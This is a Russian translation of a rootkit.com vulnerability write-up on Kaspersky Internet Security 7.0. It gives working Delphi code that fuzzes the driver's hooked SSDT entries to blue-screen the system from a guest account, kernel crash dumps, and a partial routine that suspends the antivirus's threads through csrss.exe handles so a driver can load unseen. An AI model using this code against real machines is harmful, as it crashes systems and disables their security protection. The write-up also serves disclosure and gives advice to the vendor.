Pull to refresh

Черные ходы Касперского 6/7

Reading time10 min
Views7.8K
Перевод статьи с сайта rootkit.com

Преамбула

Антивирус Касперского — один из наиболее технически развитых антивирусов на сегодняшний день. Он даже может бороться с некоторыми типами руткитов, даже когда они живы и пытаются атаковать.

Он имеет Модуль Проактивной Защиты (Proactive Defence), представляющий из себя частичную реализацию HIPS, способную, в теории, защитить компьютер от неизвестных угроз, анализируя поведение программ и предотвращая несанкционированные действия.

Это всё теория и рекламные слоганы. В реальности же мы имеем совсем другую ситуацию. Существует много руткитов, которые вообще не обнаруживаются антивирусом, а его проактивная защита может быть подавлена таким образом, что атакующий может загрузить свой драйвер, после чего любая проактивная защита просто бесполезна.

Эта статья — не просто обзор ошибок и уязвимостей — в конце каждой части мы даём рекомендации разработчикам антивируса, потому что мы видим, что они не могут разобраться с этими ошибками самостоятельно. И для приверженцев сразу оговорка: конечно, все, что написано ниже — не критические уязвимости, нет-нет =) Всего лишь несколько простых методов получить BSOD при установленном KAV/KIS даже из под гостевого аккаунта, всего лишь методы обхода KAV/KIS… и так далее, в общем не принимайте слишком близко к сердцу.

Версия Касперского, про который пойдёт речь в этой статье — 7.0, последний публичный билд 125, тип продукта — Internet Security.

Касперский и System Service Descriptor Table

Эта часть антивируса давно известна, как самая уязвимая. Таковой она является из-за того, что содержит множество элементарных ошибок. Ошибки эти — ещё один пример плохо написанной проактивной защиты.

Под Windows XP Антивирус Касперского добавляет службы в таблицу SSDT. Множество служб, которые существуют лишь под Windows 2003. Их номера — от 284 до 296. Около 13 неизвестных записей с адресами внутри klif.sys.

Вот они:
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BD80 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BD90 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BDA0 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BDC0 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BDE0 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BE10 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BE20 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BE40 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BE50 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BF10 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BFE0 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809C020 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809C060 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]


Что это? Совершенно непонятно. Однако похоже, что разработчики KAV добавляют их, чтобы решить проблему с разным количеством записей в таблице SSDT под Windows XP и 2003. Почему это было сделано именно так — вопрос третий.

А теперь внимание: любая из этих записей может быть взломана с последующим крахом системы в BSOD даже из под гостевой учётной записи с минимальными привилегиями. Мы написали маленькую программу. Она генерирует некорректные системные вызовы с некорректными параметрами для этих таинственных записей в SSDT. Код очень простой, но эффективный. Выполнение его на чистой Windows не приведёт ни к чем, потому что сама Windows обрабатывает такие ситуации верно.

var
  Services: array[0..12] of ULONG;
  ThreadTerminated: boolean = false;
  ExecThread: THANDLE;

function MakeSysCall(SysCallNumber: integer; const Stack: PDWORD): DWORD; stdcall;
asm
  mov eax, SysCallNumber
  mov edx, Stack
  int 2eh
  mov Result,eax
end;

function exec(p1: pointer): DWORD; stdcall;
var
  i: integer;
  p2: DWORD;
  p3: DWORD;
begin
  randomize();
  u := 0;
  for i := 0 to 12 do Services[i] := 284 + i;
  while not ThreadTerminated do
  begin
    p2 := random($FFFFFFFF);
    p3 := Services[random(12)];
    MakeSysCall(p3, @p2);
    Sleep(100);
  end;
  CloseHandle(ExecThread);
  ExecThread := 0;
  result := 0;
end;

var
  p2: DWORD;
begin
  ThreadTerminated := false;
  ExecThread := CreateThread(nil, 0, @exec, nil, 0, p2);
end;


Результат выполнения: Kaspersky Internet Security v7.0 125 build

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: e0ae15f9, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: f8087e8c, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)

весь текст bsod...

Но и это еще не всё!
Не смотря на сообщения о существующих уязвимостях в SSDT разработчики Касперского до сих пор не исправили их!
Мы можем доказать это простой программой под названием NTCALL. После старта она начинает генерировать некорректные системные вызовы.

NtCreateSection — вызов этой функции с неверными параметрами приведет к BSOD в klif.sys.
Вот он наш BSOD:

KERNEL_MODE_EXCEPTION_NOT_HANDLED_M (1000008e)
This is a very common bugcheck. Usually the exception address pinpoints
the driver/function that caused the problem. Always note this address
as well as the link date of the driver/image that contains this address.
Some common problems are exception code 0x80000003. This means a hard
coded breakpoint or assertion was hit, but this system was booted
/NODEBUG. This is not supposed to happen as developers should never have
hardcoded breakpoints in retail code, but…
If this happens, make sure a debugger gets connected, and the
system is booted /DEBUG. This will let us see why this breakpoint is
happening.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: 805883ea, The address that the exception occurred at
Arg3: f669a95c, Trap Frame
Arg4: 00000000

Debugging Details:
— ANALYSIS: Kernel with unknown size. Will force reload symbols with known size.
ANALYSIS: Force reload command: .reload /f ntoskrnl.exe=FFFFFFFF804D7000,214600,41108004
***** Kernel symbols are WRONG. Please fix symbols to do analysis.

MODULE_NAME: klif

весь текст bsod...


Что тут можно сказать?.. Пора прекращать извращаться с SSDT и писать нормальные обработчики для записей SSDT. Возьмите лучше и спросите Олега Зайцева, как правильно устанавливать хуки в SSDT ;)

Касперский и Теневая SSDT (Shadow SSDT)

Теневая SSDT — это специальная таблица в win32k.sys, которая содержит адреса системных функций, связанных с отображением пользовательского графического интерфейса (GDI). Касперский устанавливает здесь хуки на некоторые службы чтобы предотвратить работу клавиатурных шпионов и для самозащиты.

И опять же хуки установлены плохо.

NtUserSendInput с неверными параметрами и… -> хаха, новый BSOD, вам это не напоминает какой-то BSOD- генератор? =)

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: e1f83004, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: f9417eee, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000001, (reserved)

Debugging Details:
— ANALYSIS: Kernel with unknown size. Will force reload symbols with known size.
ANALYSIS: Force reload command: .reload /f ntoskrnl.exe=FFFFFFFF804D7000,214600,41108004
***** Kernel symbols are WRONG. Please fix symbols to do analysis.

MODULE_NAME: klif
весь текст bsod...

Для этой части рекомендации просты — запустите свой драйвер под отладчиком.

Следующий код

var
  p1: PChar;
begin
  p1 := PChar($ffffffff);
  LoadLibraryA(p1);
end;


ведёт к Acces Violation и это нормально, потому что мы использовали некорректный параметр для функции, но то что НЕнормально — это где возникает Acess Violation, по адресу — 0xF80B3306.
Это не шутка — 0xF80B3306. В процессах ядра! А если быть точнее — в klif.sys.

Давайте посмотрим, что происходит.

Мы обнаружили сильную модификацию IAT(1, 2) для каждого процесса в системе. Смотрите что происходит с explorer.exe

[420]explorer.exe-->kernel32.dll-->LoadLibraryExA, Type: IAT Modification at address 0x010010A8-->7C882FB0 hook handler located in [kernel32.dll]
[420]explorer.exe-->kernel32.dll-->LoadLibraryExW, Type: IAT Modification at address 0x010010F8-->7C882FD8 hook handler located in [kernel32.dll]
[420]explorer.exe-->kernel32.dll-->LoadLibraryA, Type: IAT Modification at address 0x01001150-->7C882F9C hook handler located in [kernel32.dll]
[420]explorer.exe-->kernel32.dll-->LoadLibraryW, Type: IAT Modification at address 0x010011D0-->7C882FC4 hook handler located in [kernel32.dll]
[420]explorer.exe-->kernel32.dll-->GetProcAddress, Type: IAT Modification at address 0x010011E4-->7C882FEC hook handler located in [kernel32.dll]


Странно, не так ли? Давайте отследим вызов LoadLibraryA.

KERNEL32.LoadLibraryA:

push ebp
mov ebp, esp
nop
pop ebp
jmp +$7b830b4a //- перенаправление в klif.sys
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop


Вот так выглядит LoadLibraryA внутри kernel32.dll после перенаправления IAT Антивирусом Касперского. Разве это не извращение?

Если вы инсталлируете этот антивирус себе на компьютер, вы (какая ирония!) открываете его для дополнительных уязвимостей и бэкдоров, созданных благодаря Антивирусу Касперского! Смех, да и только.

В этой части мы рекомендуем разработчикам Касперского убрать извращения из своего продукта. Во первых существуют лучшие и более простые способы общаться с процессами ядра, а во-вторых — это просто извращение.

Антивирус Касперского и самозащита

Как большинство из вас знает, Антивирус Касперского активно защищает самого себя против атак. Его процессы защищены от несанкционированного доступа и от уничтожения зловредными программами. Но вопрос: насколько хорошо они защищены?

Ответ: ПЛОХО.

Касперский устанавливает несколько хуков в SSDT (т.е. NtOpenProcess, NtOpenThread, NtTerminateProcess и т.д) и несколько хуков в Теневой SSDT (NtUserFindWindowEx, NtUserBuildHwndList и т.д.) чтобы дополнительно защитить себя от атак.

В конце концов он устанавливает себя как службу с настройками перезапуска при возникновении ошибки. Настройки службы защищены в реестре несколькими хуками в SSDT. Так как же мы можем убить этот антивирус? И нужно ли нам его убивать? Если мы убьём визуальную часть avp.exe то она будет заново запущена службой. Если мы убьём службу — она будет запущена менеджером контроля служб (SCM). Так как же мы можем уничтожить этот антивирус (в образовательных целях, конечно)? Вопрос хороший.

Ответ прост — загрузить драйвер, после этого мы будем вне зоны интересов KAV. Но сначала нам нужно его приостановить, чтобы получить такую возможность, не правда ли? Не совсем. Существует как минимум три метода, с помощью которых можно тихо загрузить драйвер без малейшей реакции со стороны Проактивной Защиты Касперского 7.0. И я уверен что существуют еще методы. В нашем случае мы просто приостановим (suspend) все потоки (threads) процессов Антивируса Касперского; просто приостановим, ничего более — этого достаточно.

Мы не можем обращаться к процессам Касперского напрямую, потому что владельцем SSDT является PDM. Так что самое время использовать «любимый» бэкдор-процесс по имени csrss.exe :)

В этом примере мы априори предполагаем что KAV приложение названо avp.exe и csrss.exe существует в одном экземпляре (LOL, да, если у вас есть вредоносные программы, работающие на ring3 и маскирующиеся как csrss.exe, то с этим кодом будут определённые проблемы).


pBuffer.dwSize := sizeof(PROCESSENTRY32W);
SnapShotHandle := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);

if (ZwOpenProcess(@ph, PROCESS_ALL_ACCESS, @attr, @cid1) <> STATUS_SUCCESS) then exit;

ZwAllocateVirtualMemory(GetCurrentProcess(), buf, 0, @bytesIO, MEM_COMMIT, PAGE_READWRITE);
ZwQuerySystemInformation(SystemHandleInformation, buf, 4194304, @bytesIO);
весь текст программы...


После этого оба испольняемых модуля Касперского будут приостановлены и мы можем загрузить драйвера и сделать свою работу тихо =)

Протестировано на KIS v7.0 build 125 с настройками по умолчанию.
Windws XP SP2, права администратора.

Мы рекомендуем ЛК пройти в HANDLE_TABLE и изменить права доступа для хендлеров своих процессов. Плюс самое время улучшить хук на NtDuplicateObject.

Эпилог

Вы наверное сейчас спрашиваете себя, почему такие очевидные ошибки — действительно чёрные ходы до сих пор существуют в одном из самых популярных антивирусов? Да потому что кто-то должен хорошенько дать под зад Лаборатории Касперского.

Не так давно мы опубликовали другой обзор ошибок KAV. Реакция была ожидаема. Они сказали что-то наподобие «Не волнуйтесь, это не критические ошибки». Ну да, возможно Синий экран смерти из под Гостевой учётной записи это не такая уж большая проблема для компании. «Действительно. Че за BSOD вообще? Фигня, расслабьтесь ребята» :) Но что-то меняется — они закрыли несколько опубликованных уязвимостей, так что должны были бы сказать небольшое спасибо нам. Вместо этого мы получаем кучу $@%$&#! в свой адрес (неофициально, конечно). Что ж, мы просто не переживаем по поводу такой реакции, так что не утруждайте себя ребята(фанатики?). Мы не хотим саморекламы и не хотим наблюдать тупейшие BSOD-ы от Касперского.

Дорогие разработчики Лаборатории Касперского, ваш антивирус весьма хорош, об этом спору нет, но возможно пришло время поправить эти баги? Убрать извращения с SSDT/IAT. Тщательнее обработывать критические ситуации в своём драйвере. Нет серьёзно, а что не так? Смотря на klif.sys я вижу только одно — большой, глючный драйвер.

Кстати, в некотором роде неофициальную реакцию от Лаборатории Касперского на наш предыдущий обзор klif.sys вы можете прочитать в этой чудесной статье, которая содержит несколько абсурдных утверждений и не несущих смысла комментариев. В нескольких словах: автор этой статьи частично обвинил нас в публикации информации про уязвимости в их старых и новых продуктах.

www.viruslist.ru/analysis?pubid=204007553

Статья на русском, но я уверен вы сможете найти английский вариант.

Have fun,
от VX heavens
EP_X0FF/UG North

rootkit.com


smartov: Цитата из статьи, про которую они говорят в конце
В последние годы чрезвычайно актуальна следующая ситуация. Некто из среды киберпреступников (или «исследователей», прикрывающихся белыми шляпами) разрабатывает концепт кода, обходящего современные средства защиты, и в целях самопиара, замаскированного под заботу о прогрессе, публикует его как «недетектируемый». Подчеркнем: разумеется, на деле такой концепт является не принципиально недетектируемым, а недетектируемым на уровне одно-двухшагового обхода известных функций средств защиты. Сделать такой одношаговый обход достаточно просто, если известны механизмы защиты.

Подобные публикации заставляют беспокоиться определенный процент пользователей, не знакомых с принципами работы вредоносных программ и антивирусов («А защищает ли мое антивирусное средство от этого нового типа угроз?). В такой ситуации производителям средств защиты остается только бросить долю ресурсов на восстановление своего авторитета: на разработку технологий обхода описанного концепта, обычно таких же, как и сам концепт — одношаговых. В итоге авторитет восстанавливается (а как же иначе?), система «вредоносная программа — антивирус — пользователь» приходит в изначальное состояние, и процесс замыкается в цикл. Каждая новая его итерация порождает все более изощренные вредоносные программы и все более тяжеловесные средства защиты.


Как было в КВН: «Отличный план!». Такие себе бяки публикуют уязвимости, а из-за этого бедным-несчастным производителям антивирусов приходится оторваться от стрижки капусты разработки нового улучшенного пользовательского интерфейса и заняться их устранением.

p.s. У самого установлен KAV 7.0.0.125…
Tags:
Hubs:
Total votes 83: ↑76 and ↓7+69
Comments117

Articles